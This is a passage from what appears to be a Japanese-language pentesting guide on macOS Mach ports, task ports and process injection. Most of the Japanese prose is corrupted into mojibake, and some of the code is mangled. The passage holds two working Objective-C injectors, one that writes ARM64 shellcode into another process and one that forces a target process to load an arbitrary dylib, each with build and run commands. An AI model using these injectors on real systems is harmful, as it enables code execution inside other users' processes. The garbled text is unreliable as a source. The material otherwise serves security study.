if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
ç¹æš©ããŒã
ç¹å®ã®ã¿ã¹ã¯ããããã«å¯ŸããŠSENDæš©éãæã€å Žåãç¹å®ã®ææãªã¢ã¯ã·ã§ã³ãå®è¡ããããç¹å®ã®ææãªããŒã¿ã«ã¢ã¯ã»ã¹ãããããããšãå¯èœã«ããç¹å¥ãªããŒãããããŸããããã«ãããæ»æè ã®èŠç¹ãããããã®ããŒãã¯éåžžã«è峿·±ããã®ãšãªããŸãããªããªããæ©èœã ãã§ãªããã¿ã¹ã¯éã§SENDæš©éãå ±æããããšãå¯èœã ããã§ãã
ãã¹ãç¹å¥ããŒã
ãããã®ããŒãã¯çªå·ã§è¡šãããŸãã
SENDæš©éã¯**host_get_special_portãåŒã³åºãããšã§ååŸã§ããRECEIVEæš©éã¯host_set_special_portãåŒã³åºãããšã§ååŸã§ããŸããããããäž¡æ¹ã®åŒã³åºãã«ã¯host_privããŒããå¿
èŠã§ãããã¯ã«ãŒãã®ã¿ãã¢ã¯ã»ã¹ã§ããŸããããã«ãéå»ã«ã¯ã«ãŒããhost_set_special_port**ãåŒã³åºããŠä»»æã®ããŒãããã€ãžã£ãã¯ã§ããäŸãã°HOST_KEXTD_PORTããã€ãžã£ãã¯ããããšã§ã³ãŒã眲åããã€ãã¹ããããšãã§ããŸããïŒçŸåšã¯SIPããããé²ãã§ããŸãïŒã
ãããã¯2ã€ã®ã°ã«ãŒãã«åãããŠããŸãïŒæåã®7ã€ã®ããŒãã¯ã«ãŒãã«ã«ãã£ãŠææããã1ãHOST_PORTã2ãHOST_PRIV_PORTã3ãHOST_IO_MASTER_PORTã7ãHOST_MAX_SPECIAL_KERNEL_PORTã§ãã
çªå·8ããå§ãŸããã®ã¯ã·ã¹ãã ããŒã¢ã³ã«ãã£ãŠææãããhost_special_ports.hã«å®£èšãããŠããŸãã
- ãã¹ãããŒãïŒããã»ã¹ããã®ããŒãã«å¯ŸããŠSENDæš©éãæã£ãŠããå Žåãæ¬¡ã®ãããªã«ãŒãã³ãåŒã³åºãããšã§ã·ã¹ãã ã«é¢ããæ
å ±ãååŸã§ããŸãïŒ
host_processor_info: ããã»ããµæ å ±ãååŸhost_info: ãã¹ãæ å ±ãååŸhost_virtual_physical_table_info: ä»®æ³/ç©çããŒãžããŒãã«ïŒMACH_VMDEBUGãå¿ èŠïŒhost_statistics: ãã¹ãçµ±èšãååŸmach_memory_info: ã«ãŒãã«ã¡ã¢ãªã¬ã€ã¢ãŠããååŸ
- ãã¹ããã©ã€ããŒãããŒãïŒãã®ããŒãã«å¯ŸããŠSENDæš©éãæã€ããã»ã¹ã¯ãããŒãããŒã¿ã衚瀺ããããã«ãŒãã«æ¡åŒµãèªã¿èŸŒãããšãããããç¹æš©ã¢ã¯ã·ã§ã³ãå®è¡ã§ããŸãããã®æš©éãååŸããã«ã¯ããã»ã¹ãã«ãŒãã§ããå¿ èŠããããŸãã
- ããã«ã
kext_requestAPIãåŒã³åºãã«ã¯ãä»ã®æš©é**com.apple.private.kext***ãå¿ èŠã§ãããã¯Appleã®ãã€ããªã«ã®ã¿äžããããŸãã - åŒã³åºãããšãã§ããä»ã®ã«ãŒãã³ã¯æ¬¡ã®ãšããã§ãïŒ
host_get_boot_info:machine_boot_info()ãååŸhost_priv_statistics: ç¹æš©çµ±èšãååŸvm_allocate_cpm: é£ç¶ç©çã¡ã¢ãªãå²ãåœãŠhost_processors: ãã¹ãããã»ããµãžã®éä¿¡æš©mach_vm_wire: ã¡ã¢ãªãåžžé§ããã
- ã«ãŒãã¯ãã®æš©éã«ã¢ã¯ã»ã¹ã§ããããã
host_set_[special/exception]_port[s]ãåŒã³åºããŠãã¹ãç¹å¥ãŸãã¯äŸå€ããŒãããã€ãžã£ãã¯ããããšãã§ããŸãã
ãã¹ãŠã®ãã¹ãç¹å¥ããŒãã衚瀺ããã«ã¯ã次ã®ã³ãã³ããå®è¡ããããšãã§ããŸãïŒ
procexp all ports | grep "HSP"
ã¿ã¹ã¯ç¹å¥ããŒã
ãããã¯ãããç¥ããããµãŒãã¹ã®ããã«äºçŽãããããŒãã§ããtask_[get/set]_special_portãåŒã³åºãããšã§ååŸ/èšå®ããããšãå¯èœã§ãããããã¯task_special_ports.hã«ãããŸã:
typedef int task_special_port_t;
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
world.*/
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
- TASK_KERNEL_PORT[task-self send right]: ãã®ã¿ã¹ã¯ãå¶åŸ¡ããããã«äœ¿çšãããããŒããã¿ã¹ã¯ã«åœ±é¿ãäžããã¡ãã»ãŒãžãéä¿¡ããããã«äœ¿çšãããŸããããã¯**mach_task_self (äžèšã®ã¿ã¹ã¯ããŒããåç §)**ã«ãã£ãŠè¿ãããããŒãã§ãã
- TASK_BOOTSTRAP_PORT[bootstrap send right]: ã¿ã¹ã¯ã®ããŒãã¹ãã©ããããŒãããã®ä»ã®ã·ã¹ãã ãµãŒãã¹ããŒãã®è¿åŽãèŠæ±ããã¡ãã»ãŒãžãéä¿¡ããããã«äœ¿çšãããŸãã
- TASK_HOST_NAME_PORT[host-self send right]: å«ãŸãããã¹ãã®æ å ±ãèŠæ±ããããã«äœ¿çšãããããŒããããã¯mach_host_selfã«ãã£ãŠè¿ãããããŒãã§ãã
- TASK_WIRED_LEDGER_PORT[ledger send right]: ãã®ã¿ã¹ã¯ããã®ã¯ã€ã€ãŒãã«ãŒãã«ã¡ã¢ãªãåŒãåºããœãŒã¹ãæå®ããããŒãã§ãã
- TASK_PAGED_LEDGER_PORT[ledger send right]: ãã®ã¿ã¹ã¯ããã®ããã©ã«ãã®ã¡ã¢ãªç®¡çã¡ã¢ãªãåŒãåºããœãŒã¹ãæå®ããããŒãã§ãã
ã¿ã¹ã¯ããŒã
å
ã
Machã«ã¯ãããã»ã¹ãã¯ãªãããã¿ã¹ã¯ãããããããã¯ã¹ã¬ããã®ã³ã³ããã®ããã«èããããŠããŸãããMachãBSDãšçµ±åããããšããåã¿ã¹ã¯ã¯BSDããã»ã¹ãšçžé¢é¢ä¿ã«ãããŸããããããã£ãŠããã¹ãŠã®BSDããã»ã¹ã¯ããã»ã¹ãšããŠå¿
èŠãªè©³çްãæã¡ããã¹ãŠã®Machã¿ã¹ã¯ããã®å
éšåäœãæã£ãŠããŸãïŒååšããªãpid 0ã§ããkernel_taskãé€ãïŒã
ããã«é¢é£ããéåžžã«è峿·±ã颿°ã2ã€ãããŸãïŒ
task_for_pid(target_task_port, pid, &task_port_of_pid): æå®ãããpidã«é¢é£ããã¿ã¹ã¯ã®ã¿ã¹ã¯ããŒãã®SENDæš©ãååŸããæå®ãããtarget_task_portã«æž¡ããŸãïŒéåžžã¯mach_task_self()ã䜿çšããåŒã³åºãã¿ã¹ã¯ã§ãããç°ãªãã¿ã¹ã¯ã®SENDããŒãã§ããå¯èœæ§ããããŸãïŒãpid_for_task(task, &pid): ã¿ã¹ã¯ãžã®SENDæš©ãäžããããå Žåããã®ã¿ã¹ã¯ãé¢é£ããPIDãèŠã€ããŸãã
ã¿ã¹ã¯å
ã§ã¢ã¯ã·ã§ã³ãå®è¡ããããã«ã¯ãã¿ã¹ã¯ã¯mach_task_self()ãåŒã³åºããŠèªåèªèº«ãžã®SENDæš©ãå¿
èŠãšããŸããïŒããã¯task_self_trapïŒ28ïŒã䜿çšããŸãïŒããã®æš©éãããã°ãã¿ã¹ã¯ã¯ä»¥äžã®ãããªããŸããŸãªã¢ã¯ã·ã§ã³ãå®è¡ã§ããŸãïŒ
task_threads: ã¿ã¹ã¯ã®ã¹ã¬ããã®ãã¹ãŠã®ã¿ã¹ã¯ããŒãã«å¯ŸããSENDæš©ãååŸtask_info: ã¿ã¹ã¯ã«é¢ããæ å ±ãååŸtask_suspend/resume: ã¿ã¹ã¯ãäžæåæ¢ãŸãã¯åétask_[get/set]_special_portthread_create: ã¹ã¬ãããäœætask_[get/set]_state: ã¿ã¹ã¯ã®ç¶æ ãå¶åŸ¡- ãã®ä»ã®è©³çްã¯mach/task.hã§èŠã€ããããšãã§ããŸãã
Caution
ç°ãªãã¿ã¹ã¯ã®ã¿ã¹ã¯ããŒãã«å¯ŸããSENDæš©ãæã€å Žåãç°ãªãã¿ã¹ã¯ã«å¯ŸããŠãã®ãããªã¢ã¯ã·ã§ã³ãå®è¡ããããšãå¯èœã§ãã
ããã«ãtask_portã¯**vm_mapããŒãã§ããããvm_read()ãvm_write()ãªã©ã®é¢æ°ã䜿çšããŠã¿ã¹ã¯å
ã®ã¡ã¢ãªãèªã¿åãããã³æäœããããšãå¯èœã«ããŸããããã¯åºæ¬çã«ãç°ãªãã¿ã¹ã¯ã®task_portã«å¯ŸããSENDæš©ãæã€ã¿ã¹ã¯ããã®ã¿ã¹ã¯ã«ã³ãŒããæ³šå
¥ãã**ããšãã§ããããšãæå³ããŸãã
ã«ãŒãã«ãã¿ã¹ã¯ã§ããããã誰ãã**kernel_taskã«å¯ŸããSENDæš©é**ãååŸã§ããã°ãã«ãŒãã«ã«äœã§ãå®è¡ãããããšãã§ããŸãïŒè±çïŒã
mach_task_self()ãåŒã³åºããŠãåŒã³åºãã¿ã¹ã¯ã®ãã®ããŒãã®ååãååŸããŸãããã®ããŒãã¯**exec()ãéããŠã®ã¿ç¶æ¿ãããŸã**;fork()ã§äœæãããæ°ããã¿ã¹ã¯ã¯æ°ããã¿ã¹ã¯ããŒããååŸããŸãïŒç¹å¥ãªã±ãŒã¹ãšããŠãsuidãã€ããªã®exec()åŸã«ã¿ã¹ã¯ãæ°ããã¿ã¹ã¯ããŒããååŸããŸãïŒãã¿ã¹ã¯ãçæãããã®ããŒããååŸããå¯äžã®æ¹æ³ã¯ãfork()ãè¡ããªããâããŒãã¹ã¯ãããã³ã¹âãå®è¡ããããšã§ãã- ãããã¯ããŒãã«ã¢ã¯ã»ã¹ããããã®å¶éã§ãïŒãã€ããª
AppleMobileFileIntegrityã®macos_task_policyããïŒïŒ - ã¢ããªã**
com.apple.security.get-task-allowæš©é**ãæã£ãŠããå ŽåãåããŠãŒã¶ãŒã®ããã»ã¹ãã¿ã¹ã¯ããŒãã«ã¢ã¯ã»ã¹ã§ããŸãïŒéåžžã¯ãããã°ã®ããã«Xcodeã«ãã£ãŠè¿œå ãããŸãïŒãããŒã¿ãªãŒãŒã·ã§ã³ããã»ã¹ã¯ã補åãªãªãŒã¹ã§ã¯ãããèš±å¯ããŸããã com.apple.system-task-portsæš©éãæã€ã¢ããªã¯ãã«ãŒãã«ãé€ãä»»æã®ããã»ã¹ã®ã¿ã¹ã¯ããŒããååŸã§ããŸããå€ãããŒãžã§ã³ã§ã¯**task_for_pid-allow**ãšåŒã°ããŠããŸãããããã¯Appleã®ã¢ããªã±ãŒã·ã§ã³ã«ã®ã¿ä»äžãããŸãã- ã«ãŒãã¯ãããŒãã³ãããã©ã³ã¿ã€ã ã§ã³ã³ãã€ã«ãããŠããªãã¢ããªã±ãŒã·ã§ã³ã®ã¿ã¹ã¯ããŒãã«ã¢ã¯ã»ã¹ã§ããŸãïŒAppleããã§ã¯ãããŸããïŒã
ã¿ã¹ã¯åããŒã: _ã¿ã¹ã¯ããŒã_ã®ç¹æš©ã®ãªãããŒãžã§ã³ãã¿ã¹ã¯ãåç
§ããŸãããå¶åŸ¡ããããšã¯ã§ããŸããããããéããŠå©çšã§ããå¯äžã®ãã®ã¯task_info()ã®ããã§ãã
ã¹ã¬ããããŒã
ã¹ã¬ããã«ãé¢é£ããããŒãããããããã¯**task_threads**ãåŒã³åºãã¿ã¹ã¯ãprocessor_set_threadsãæã€ããã»ããµããèŠãããšãã§ããŸããã¹ã¬ããããŒããžã®SENDæš©ã¯ãthread_actãµãã·ã¹ãã ã®é¢æ°ã䜿çšããããšãå¯èœã«ããŸãïŒ
thread_terminatethread_[get/set]_stateact_[get/set]_statethread_[suspend/resume]thread_info- âŠ
ä»»æã®ã¹ã¬ããã¯**mach_thread_sef**ãåŒã³åºãããšã§ãã®ããŒããååŸã§ããŸãã
ã¿ã¹ã¯ããŒãçµç±ã§ã®ã¹ã¬ãããžã®ã·ã§ã«ã³ãŒãæ³šå ¥
ã·ã§ã«ã³ãŒããååŸã§ããŸãïŒ
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
åã®ããã°ã©ã ãã³ã³ãã€ã«ããåããŠãŒã¶ãŒã§ã³ãŒããæ³šå ¥ã§ããããã«æš©éã远å ããŸãïŒããã§ãªãå Žåã¯sudoã䜿çšããå¿ èŠããããŸãïŒã
sc_injector.m
```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>
#ifdef arm64
kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = â\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00â;
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, âUnable to call task_for_pid on pid %d: %d. Cannot continue!\nâ,pid, kr); return (-1); } else{ printf(âGathered privileges over the task port of process: %d\nâ, pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to allocate memory for remote stack in thread: Error %s\nâ, mach_error_string(kr)); return (-2); } else {
fprintf (stderr, âAllocated remote stack @0x%llx\nâ, remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to allocate memory for remote code in thread: Error %s\nâ, mach_error_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to write remote thread memory: Error %s\nâ, mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to set memory permissions for remote threadâs code: Error %s\nâ, mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to set memory permissions for remote threadâs stack: Error %s\nâ, mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, â\0â, sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf (âRemote Stack 64 0x%llx, Remote code is %p\nâ, remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to create remote thread: error %sâ, mach_error_string (kr)); return (-3); }
return (0); }
pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@âpgrepâ, processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@â/usr/bin/envâ]; [task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue]; }
BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@âUsage: %s
NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;
if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@âError: Process named â%@â not found.â, arg); return 1; } else{ printf(âFound PID of process â%sâ: %d\nâ, [arg UTF8String], pid); } }
inject(pid); }
return 0; }
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
Tip
ãããiOSã§åäœãããã«ã¯ãæžã蟌ã¿å¯èœãªã¡ã¢ãªå®è¡å¯èœãã¡ã€ã«ãäœæããããã«
dynamic-codesigningã®æš©éãå¿ èŠã§ãã
ã¿ã¹ã¯ããŒãçµç±ã®ã¹ã¬ããã§ã®Dylibã€ã³ãžã§ã¯ã·ã§ã³
macOSã§ã¯ãã¹ã¬ããã¯Machãä»ããŠããŸãã¯posix pthread apiã䜿çšããŠæäœã§ããŸããååã®ã€ã³ãžã§ã¯ã·ã§ã³ã§çæããã¹ã¬ããã¯Mach apiã䜿çšããŠçæããããããposixæºæ ã§ã¯ãããŸããã
posixæºæ ã®apiã䜿çšããå¿ èŠããªãã£ããããã³ãã³ããå®è¡ããããã®ã·ã³ãã«ãªã·ã§ã«ã³ãŒããæ³šå ¥ããããšãã§ããŸãããããããããè€éãªã€ã³ãžã§ã¯ã·ã§ã³ã§ã¯ãã¹ã¬ãããposixæºæ ã§ããå¿ èŠããããŸãã
ãããã£ãŠãã¹ã¬ãããæ¹åããããã«ã¯ãpthread_create_from_mach_threadãåŒã³åºãå¿
èŠããããŸããããã«ãããæå¹ãªpthreadãäœæãããŸãããã®æ°ããpthreadã¯ãã·ã¹ãã ããdylibãããŒãããããã«dlopenãåŒã³åºãããšãã§ããŸãããã®ãããç°ãªãã¢ã¯ã·ã§ã³ãå®è¡ããããã«æ°ããã·ã§ã«ã³ãŒããæžã代ããã«ãã«ã¹ã¿ã ã©ã€ãã©ãªãããŒãããããšãå¯èœã§ãã
äŸã®dylibsã¯æ¬¡ã®å Žæã«ãããŸãïŒäŸãã°ããã°ãçæãããã®åŸãªã¹ãã³ã°ã§ãããã®ïŒïŒ
macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
dylib_injector.m
```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include#include <sys/stat.h> #include <pthread.h>
#ifdef arm64 //#include âmach/arm/thread_status.hâ
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
char injectedCode[] =
// â\x00\x00\x20\xd4â // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
â\xff\x83\x00\xd1â // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables â\xFD\x7B\x01\xA9â // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack â\xFD\x43\x00\x91â // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer â\xff\x43\x00\xd1â // SUB SP, SP, #0x10 ; Space for the â\xE0\x03\x00\x91â // MOV X0, SP ; (arg0)Store in the stack the thread struct â\x01\x00\x80\xd2â // MOVZ X1, 0 ; X1 (arg1) = 0; â\xA2\x00\x00\x10â // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start â\x03\x00\x80\xd2â // MOVZ X3, 0 ; X3 (arg3) = 0; â\x68\x01\x00\x58â // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) â\x00\x01\x3f\xd6â // BLR X8 ; call pthread_create_from_mach_thread â\x00\x00\x00\x14â // loop: b loop ; loop forever
// Call dlopen with the path to the library â\xC0\x01\x00\x10â // ADR X0, #56 ; X0 => âLIBLIBLIBâŠâ; â\x68\x01\x00\x58â // LDR X8, #44 ; load DLOPEN â\x01\x00\x80\xd2â // MOVZ X1, 0 ; X1 = 0; â\x29\x01\x00\x91â // ADD x9, x9, 0 - I left this as a nop â\x00\x01\x3f\xd6â // BLR X8 ; do dlopen()
// Call pthread_exit â\xA8\x00\x00\x58â // LDR X8, #20 ; load PTHREADEXT â\x00\x00\x80\xd2â // MOVZ X0, 0 ; X1 = 0; â\x00\x01\x3f\xd6â // BLR X8 ; do pthread_exit
âPTHRDCRTâ // <- âPTHRDEXTâ // <- âDLOPEN__â // <- âLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBâ â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â â\x00â ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask; struct stat buf;
// Check if the library exists int rc = stat (lib, &buf);
if (rc != 0) { fprintf (stderr, âUnable to open library file %s (%s) - Cannot inject\nâ, lib,strerror (errno)); //return (-9); }
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, âUnable to call task_for_pid on pid %d: %d. Cannot continue!\nâ,pid, kr); return (-1); } else{ printf(âGathered privileges over the task port of process: %d\nâ, pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to allocate memory for remote stack in thread: Error %s\nâ, mach_error_string(kr)); return (-2); } else {
fprintf (stderr, âAllocated remote stack @0x%llx\nâ, remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to allocate memory for remote code in thread: Error %s\nâ, mach_error_string(kr)); return (-2); }
// Patch shellcode
int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {
// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, âpthread_create_from_mach_threadâ); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, âpthread_exitâ); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, âPTHRDEXTâ, 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf (âPthread exit @%llx, %llx\nâ, addrOfPthreadExit, pthread_exit); }
if (memcmp (possiblePatchLocation, âPTHRDCRTâ, 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); printf (âPthread create from mach thread @%llx\nâ, addrOfPthreadCreate); }
if (memcmp(possiblePatchLocation, âDLOPEN__â, 6) == 0) { printf (âDLOpen @%llx\nâ, addrOfDlopen); memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); }
if (memcmp(possiblePatchLocation, âLIBLIBLIBâ, 9) == 0) { strcpy(possiblePatchLocation, lib ); } }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to write remote thread memory: Error %s\nâ, mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to set memory permissions for remote threadâs code: Error %s\nâ, mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to set memory permissions for remote threadâs stack: Error %s\nâ, mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, â\0â, sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf (âRemote Stack 64 0x%llx, Remote code is %p\nâ, remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,âUnable to create remote thread: error %sâ, mach_error_string (kr)); return (-3); }
return (0); }
int main(int argc, const char * argv[]) { if (argc < 3) { fprintf (stderr, âUsage: %s pid action\nâ, argv[0]); fprintf (stderr, â action: path to a dylib on disk\nâ); exit(0); }
pid_t pid = atoi(argv[1]); const char *action = argv[2]; struct stat buf;
int rc = stat (action, &buf); if (rc == 0) inject(pid,action); else { fprintf(stderr,âDylib not found\nâ); }
}
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
ã¹ã¬ãããã€ãžã£ãã¯ã«ããã¿ã¹ã¯ããŒã
ãã®æè¡ã§ã¯ãããã»ã¹ã®ã¹ã¬ããããã€ãžã£ãã¯ãããŸãïŒ
macOS Thread Injection via Task port
ã¿ã¹ã¯ããŒãã€ã³ãžã§ã¯ã·ã§ã³æ€åº
